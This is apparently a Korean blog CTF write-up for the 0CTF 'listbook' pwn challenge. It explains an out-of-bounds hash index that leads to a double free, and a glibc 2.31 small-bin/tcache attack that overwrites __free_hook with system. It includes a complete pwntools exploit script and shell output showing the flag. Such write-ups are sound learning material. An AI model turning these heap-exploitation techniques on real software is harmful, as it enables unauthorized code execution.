티스토리 뷰
Listbook
제공해준 libc 파일 버전은 GLIBC 2.31-0ubuntu9.2
이다.
Ubuntu 20.04에서 풀었다.
보호기법
xxxxxxxxxx
~/Desktop/0ctf/listbook > checksec listbook
[*] '/home/sindo/Desktop/0ctf/listbook/listbook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
~/Desktop/0ctf/listbook >
메뉴로는 add
, delete
, show
, exit
가 있는데 하나씩 살펴보자.
add
제일 먼저 코드를 보면 v2 변수에 0x20크기만큼 할당하는 것을 볼 수 있고, 아래에 입력되는 값들을 토대로 구조체를 생성해보면
xxxxxxxxxx
struct book{
char name[0x10];
struct book *next;
char *content;
};
처럼 지을 수 있겠다.
새로운 구조체를 적용시키고 다시 확인해보면
xxxxxxxxxx
int sub_15B8()
{
int v1; // [rsp-14h] [rbp-14h]
book *v2; // [rsp-10h] [rbp-10h]
__asm { endbr64 }
printf("name>");
v2 = (book *)malloc(0x20uLL);
memset(v2, 0, 0x20uLL);
sub_1289((__int64)v2, 16);
v2->content = (__int64)malloc(0x200uLL);
printf("content>");
sub_1289(v2->content, 512);
v1 = sub_134C((__int64)v2, 16); // **[1]**
if ( dword_4440[v1] )
v2->next = qword_4840[v1];
qword_4840[v1] = v2;
dword_4440[v1] = 1;
return puts("done");
}
이렇게 된다.
흐름을 보면 [1] 에서 sub_134C(v2, 16)
작업을 한 뒤 반환값을 dword_4440
의 index로 사용하여 값이 존재할 경우 qword_4840[v1]
의 값을 v2->next
에 넣는다.
만약 조건문을 통과하지 못하면 qword_4840[v1]
에 v2를 집어넣고 dword_4440[v1]
값을 1로 맞춘다.
v1
의 값이 어떻게 나오는지 알아보기 위해 sub_134C
를 분석해보자.
sub_134C
xxxxxxxxxx
__int64 __fastcall sub_134C(__int64 a1, int a2)
{
__int64 v3; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
*(&v3 - 3) = a1;
*((_DWORD *)&v3 - 7) = a2;
*((_BYTE *)&v3 - 5) = 0;
for ( *((_DWORD *)&v3 - 1) = 0; *((_DWORD *)&v3 - 1) < *((_DWORD *)&v3 - 7); ++*((_DWORD *)&v3 - 1) )
*((_BYTE *)&v3 - 5) += *(_BYTE *)(*((int *)&v3 - 1) + *(&v3 - 3));
*((_BYTE *)&v3 - 5) = abs8(*((_BYTE *)&v3 - 5));
if ( *((_BYTE *)&v3 - 5) > 15 )
*((_BYTE *)&v3 - 5) %= 16;
return (unsigned int)*((char *)&v3 - 5);
}
복잡해보이긴 한데, book->name
을 가지고 연산을 진행해서 1byte를 만들어낸다.
연산을 통해 만들어낸 1byte가 qword_4840
와 dword_4440
의 index로 사용된다.
Show
xxxxxxxxxx
int __usercall sub_13C4@<eax>(__int64 a1@<rbp>)
{
__int64 v1; // rax
int v3; // [rsp-14h] [rbp-14h]
book *i; // [rsp-10h] [rbp-10h]
__int64 v5; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v5 = a1;
printf("index>");
v3 = sub_12F9((__int64)&v5);
if ( v3 < 0 || v3 > 15 )
{
LODWORD(v1) = puts("invalid");
}
else if ( qword_4840[v3] && dword_4440[v3] )
{
v1 = qword_4840[v3];
for ( i = (book *)qword_4840[v3]; i; i = (book *)i->next )
{
printf("%s => %s\n", i, i->content);
v1 = i->next;
}
}
else
{
LODWORD(v1) = puts("empty");
}
return v1;
}
show에서는 별거 없는데, 사용자가 입력한 값 v3
가 있을 때 qword_4840[v3]
과 dword_4440[v3]
의 값이 0이 아닐 경우 해당 위치에 있는 book
연결 리스트들을 출력해준다.
이런 기능들이 있는 것을 보아 qword_4840
는 book *
자료형을 저장하는 hashtable임을 추측할 수 있다.
배열에 적혀있는 값은 각 hashtable의 head가 되고 같은 hash index에 대해 head->next 로 연결되어 있는 구조로 되어있다.
Delete
xxxxxxxxxx
int __usercall sub_14AD@<eax>(__int64 a1@<rbp>)
{
_DWORD *v1; // rax
int v3; // [rsp-1Ch] [rbp-1Ch]
book *i; // [rsp-18h] [rbp-18h]
book *v5; // [rsp-10h] [rbp-10h]
__int64 v6; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v6 = a1;
printf("index>");
v3 = sub_12F9((__int64)&v6);
if ( v3 < 0 || v3 > 15 )
{
LODWORD(v1) = puts("invalid");
}
else if ( qword_4840[v3] && dword_4440[v3] )
{
for ( i = (book *)qword_4840[v3]; i; i = v5 )
{
v5 = (book *)i->next;
i->next = 0LL;
free((void *)i->content);
}
v1 = dword_4440;
dword_4440[v3] = 0;
}
else
{
LODWORD(v1) = puts("empty");
}
return (int)v1;
}
Delete를 진행할 때는 원하는 index에 qword_4840
과 dword_4440
둘다 값이 0 이 아니라면 해당 hashtable을 전부 free시킨다.
Vulnerability
취약점은 add
에서 사용하는 sub_134C
함수에서 발생한다.
해당 함수에서 마지막에 16으로 나머지만 챙기기 때문에 0~15 인덱스만 나올거 같이 보이지만, 실제로 일부 값에 대해서 -128 값이 나온다. 따라서 qword_4840[-128]
을 참조하게 되고, 해당 위치는 dword_4440
의 0, 1번째 index의 값을 덮을 수 있게 된다.
따라서 만약 dword_4440[0]
을 free
했을 때 위의 취약점을 트리거 시켜주면 heap의 주소가 dword_4440[0]
, dword_4440[1]
에 적히기 때문에 다시 한 번 free
가 가능하다. 따라서 Double Free 취약점이 발생한다.
상황을 메모리로 보자면,
xxxxxxxxxx
pwndbg> x/20gx 0x555555558440
0x555555558440: 0x0000000100000001 0x0000000000000000
0x555555558450: 0x0000000000000000 0x0000000000000000
0x555555558460: 0x0000000000000000 0x0000000100000001
0x555555558470: 0x0000000100000001 0x0000000100000001
현재 dword_4440
의 배열이 위처럼 되어있다. 할당이 되어있을 때 dword_4440[n] = 1
로 켜두는 식인데, 여기서 Delete(0)
을 호출하면
xxxxxxxxxx
pwndbg> x/20gx 0x55ac432cf440
0x55ac432cf440: 0x0000000100000000 0x0000000000000000
0x55ac432cf450: 0x0000000000000000 0x0000000000000000
0x55ac432cf460: 0x0000000000000000 0x0000000100000001
0x55ac432cf470: 0x0000000100000001 0x0000000100000001
이처럼 dword_4440[0] = 0
으로 바뀌게 된다.
하지만 여기서 위에말한 OOB 취약점을 사용해서 hashtable[-128]에 heap을 할당받게 한다면
xxxxxxxxxx
pwndbg> x/40gx 0x555555558440
0x555555558440: 0x000055555555a710 0x0000000000000000
0x555555558450: 0x0000000000000000 0x0000000000000000
0x555555558460: 0x0000000000000000 0x0000000100000001
0x555555558470: 0x0000000100000001 0x0000000100000001
이런식으로 heap이 dword_4440
배열의 0, 1번째 칸을 덮어버린다. 따라서 다시한번 Delete(0)
을 할 수 있고, 이는 Double Free로 이어진다.
물론 glibc 2.31 버전에선 보호기법 때문에 바로 free
가 가능하지는 않다. 따라서 몇가지 트릭을 사용해서 tcache의 fd를 덮어줘야 한다.
나중에 Double Free를 트리거하기 위해서 Show(0)
를 통해 먼저 libc leak을 진행한다. (heap leak은 name만 가득 채워주고 next하나더 생기면 leak된다.)
2.31 버전에서는 Free된 chunk가 tcache에 들어있는지 검사하는 방법을 통해 Double Free를 막기 때문에, Unsorted Bin이나 Small Bin을 사용해서 공격을 진행해야 한다.
따라서 다른 chunk를 적절히 free해서 tcache를 채우고 Double Free를 원하는 Chunk를 Unsorted bin에 옮긴 후 다른걸 다시 free하여 small bin으로 옮겨준다.
현재 Double Free할 chunk(2c0
)가 smallbin에 들어가 있는 상태이다.
xxxxxxxxxx
pwndbg> bin
tcachebins
empty
fastbins
...
unsortedbin
all: 0x55555555a880 —▸ 0x7ffff7faabe0 (main_arena+96) ◂— 0x55555555a880
smallbins
0x210: 0x55555555b000 —▸ 0x55555555adc0 —▸ 0x5555555592c0 —▸ 0x7ffff7faade0 (main_arena+608) ◂— 0x55555555b000
largebins
empty
여기서 한번 free
해주면
xxxxxxxxxx
pwndbg> bin
tcachebins
0x210 [ 1]: 0x5555555592d0 ◂— 0x0
fastbins
...
unsortedbin
all: 0x55555555a880 —▸ 0x7ffff7faabe0 (main_arena+96) ◂— 0x55555555a880
smallbins
0x210 [corrupted]
FD: 0x55555555b000 —▸ 0x55555555adc0 —▸ 0x5555555592c0 ◂— 0x0
BK: 0x5555555592c0 —▸ 0x555555559010 ◂— 0x0
largebins
empty
처럼 smallbin에 있는 chunk지만 free됨으로써 tcache로 이동하고, small bin이 와장창 깨진다.
이제 Freed Chunk가 tcache와 small bin 둘에 들어가 있으므로 트릭을 사용하면 된다.
현재 chunk는 아래처럼 구성되어 있다.
xxxxxxxxxx
pwndbg> x/20gx 0x5555555592c0
0x5555555592c0: 0x0000000000000000 0x0000000000000211 // Freed chunk
0x5555555592d0: 0x0000000000000000 0x0000555555559010 // fd , bk
0x5555555592e0: 0x0000000000000000 0x0000000000000211
...
0x5555555594b0: 0x0000000000000000 0x0000000000000211
0x5555555594c0: 0x0000000000000000 0x0000000000000211
0x5555555594d0: 0x0000000000000210 0x0000000000000030 // next chunk
이 상태에서 2c0
chunk를 할당받게 되면 tcache가 먼저 사용되기 때문에 small bin의 2c0
chunk는 그대로 유지된다.
따라서 tcache를 사용하면서 동시에 fake chunk를 구성해준다.
xxxxxxxxxx
pwndbg> x/20gx 0x5555555592c0
0x5555555592c0: 0x0000000000000000 0x0000000000000211 // original chunk brought from tcache 0x200
0x5555555592d0: 0x0000000000000000 0x0000555555559380 // fd(0) , bk(=> fake chunk)
0x5555555592e0: 0x0000000000000000 0x0000000000000000
...
0x555555559380: 0x0000000000000000 0x0000000000000211 // fake chunk
0x555555559390: 0x00005555555592c0 0x000055555555adc0 // fd(=> original chunk), bk(original bk)
0x5555555593a0: 0x0000000000000000 0x0000000000000211
위의 구조를 보면 380
chunk가 fake로 구성된 chunk이다. 물론 해당 chunk로부터 0x210떨어진 곳에도 prev_size라던지 값들을 전부 맞춰두었다.(add
를 할 때 spray를 전부 해둠)
위의 구조를 보면 small bin에 있던 double free chunk의 fd를 0, bk를 fake chunk를 가리키도록 했고, fake chunk의 fd에는 original chunk의 주소, 그리고 bk에는 원래 small bin에 있을 당시(깨지기 전) bk 주소를 적어주었다.
지금 bins의 상태를 보면
xxxxxxxxxx
pwndbg> bin
tcachebins
empty
fastbins
...
unsortedbin
all: 0x55555555a8b0 —▸ 0x7ffff7faabe0 (main_arena+96) ◂— 0x55555555a8b0
smallbins
0x210 [corrupted]
FD: 0x55555555b000 —▸ 0x55555555adc0 —▸ 0x5555555592c0 ◂— 0x0
BK: 0x5555555592c0 —▸ 0x555555559380[fake] —▸ 0x55555555adc0 —▸ 0x55555555b000 —▸ 0x7ffff7faade0 (main_arena+608) ◂— ...
largebins
empty
이런식으로 되어 있다.
이 상태에서 unsorted bin에 있는 0x210 크기의 chunk를 할당하면
xxxxxxxxxx
pwndbg> bin
tcachebins
0x210 [ 3]: 0x55555555b010 —▸ 0x55555555add0 —▸ 0x555555559390[fake] ◂— 0x0
fastbins
...
unsortedbin
all: 0x55555555a8e0 —▸ 0x7ffff7faabe0 (main_arena+96) ◂— 0x55555555a8e0
smallbins
empty
이런식으로 small bin의 애들이 전부 tcache bins로 이동하게 된다. 이 때 가장 마지막 tcache chunk는 우리가 적어줬던 fake chunk이다..!!
하지만 아직 문제가 있는 것이, glibc 버전이 업데이트 되면서 tcach bins cnt값이 0이면 free chunk가 있더라도 새로 할당을 해버린다. 그렇기 때문에 어떤 의미없는 chunk free 후 fake chunk를 free해서 cnt가 1이상의 값을 유지하도록 해주는 것이 중요하다.
다른 chunk를 먼저 free한 상태로 만드는 것은 어렵지 않고 , 이제 어떻게 쉘을 딸 것인지에 대해 알아야 하는데 원가젯은 전부 말을 듣지 않았다. 그래서 free_hook에 system을 적고 0x200 chunk에 /bin/sh
를 적어줘서 free를 할 때 system("/bin/sh")
을 호출할 수 있게 조작했다.
Exploit
xxxxxxxxxx
from pwn import *
server = 1
if server:
p = remote("111.186.58.249", 20001)
else:
p = process("./listbook")
def choice(idx):
if type(idx) == int:
p.sendlineafter(">>", str(idx))
else:
p.sendlineafter(">>", idx)
sleep(0.1)
def add(name, content):
choice(1)
if len(name) == 16:
p.sendafter("name>", name)
else:
p.sendlineafter("name>", name)
if len(content) == 0x200:
p.sendafter("content>", content)
else:
p.sendlineafter("content>", content)
sleep(0.1)
def delete(idx):
choice(2)
p.sendlineafter("index>", str(idx))
sleep(0.1)
def show(idx):
choice(3)
p.sendlineafter("index>", str(idx))
sleep(0.1)
hash_table = {
0: '0',
1: '1',
2: '2',
3: '3',
4: '4',
5: '5',
6: '6',
7: '7',
8: '8',
9: '9',
10: 'j',
11: 'k',
12: 'l',
13: 'm',
14: 'n',
15: 'o',
-128: '@@'
}
# heap spray
for i in range(16):
add(hash_table[i], (p64(0) + p64(0x211))*(0x200//0x10))
# no meaning
# just do for heap leak
add("oj9f7dbe0f8anw8&", 'A'*0x10)
show(12)
# heap leak
p.recvuntil("oj9f7dbe0f8anw8&")
heap_leak = u64(p.recvuntil(" ", drop=True).ljust(8, b'\x00'))
heap_base = heap_leak - 0x1da0
print("heap_leak @ " + hex(heap_leak))
print("heap_base @ " + hex(heap_base))
# free chunk -> 7 tcache + 1 unsorted bin
for i in range(2, 10):
delete(i)
# delete 0 for unsorted bin -> fd == main_arena
delete(0)
# overwrite use_flag[0, 1]
add(hash_table[-128], 'A'*0x10)
# libc leak
show(0)
p.recvuntil("0 => ")
libc_leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_base = libc_leak - 0x1c6de0
free_hook = libc_base + 0x1c9b28
system = libc_base + 0x30410
print("libc_leak @ " + hex(libc_leak))
print("libc_base @ " + hex(libc_base))
# bins setting
delete(12) # goto small bin
delete(13) # goto small bin
# Allocate all freed 0x210 tcache
for i in range(7):
add(hash_table[2], 'Z'*0x8)
# Double Free trigger! ( broken small bins )
# tcache 0x210 -> `2c0` chunk
# small bins : A -> B -> `2c0` chunk
delete(0)
# [small bin attack] create fake chunk
pay = b''
pay += p64(0) + p64(heap_base + 0x380)
pay += b'\x00'*(0xa0)
pay += p64(0) + p64(0x211)
pay += p64(heap_base + 0x2c0) + p64(heap_base + 0x1dc0)
add(hash_table[15], pay)
# [small bin attack] small bins moves tcache
# fake chunk also move into tcache
add(hash_table[12], 'Free me!')
add(hash_table[13], 'A'*0x10)
# free target!!!
add(hash_table[5], "/bin/sh\x00")
# [fake chunk] fake chunk writes fake book structure
pay = (p64(0) + p64(0x211))*0x14
pay += p64(0) + p64(0x31)
pay += b'!'*0x10
pay += p64(0) + p64(heap_base + 0x440) # overwrite comment -> fake chunk
pay += p64(0) + p64(0)
add(hash_table[6], pay)
# increase tcache bins cnt!
delete(11)
# (fake)comment chunk
delete(1)
# chunk which can overwrite fake comment fd
delete(6)
# Current bins
# tcachebins
# 0x210 [ 3]: 0x555555559390 —▸ 0x555555559440 —▸ 0x55555555ab90 ◂— 0x0
# overwrite fake comment fd -> free_hook
add(hash_table[7], b'P'*0x10*10 + p64(0) + p64(0x211) + p64(free_hook) + p64(heap_base + 0x10))
# allocate chunk
add(hash_table[15], 'P'*0x10)
# overwrite free_hook -> system addr
add(hash_table[14], p64(system))
# trigger free(addr) -> system("/bin/sh\x00")
delete(5)
p.interactive()
Flag
xxxxxxxxxx
~/Desktop/0ctf/listbook > python3 ex.py INT 23s
[+] Opening connection to 111.186.58.249 on port 20001: Done
heap_leak @ 0x55e3385c9da0
heap_base @ 0x55e3385c8000
libc_leak @ 0x7efde4183de0
libc_base @ 0x7efde3fbd000
[*] Switching to interactive mode
$
$ ls
bin
dev
flag
lib
lib32
lib64
libx32
listbook
run.sh
$ cat flag
flag{B4by_D0o0B13_F73e_1s_Re41ly_Ea5y}
$
'CTFs WriteUp' 카테고리의 다른 글
[pwn] UTCTF 2021 - monke (0) | 2021.03.23 |
---|---|
[pwn] UTCTF 2021 - AEG (0) | 2021.03.19 |
[pwn] UTCTF 2021 - Functional Programming (0) | 2021.03.18 |
[pwn] UTCTF 2021 - 2Smol (0) | 2021.03.16 |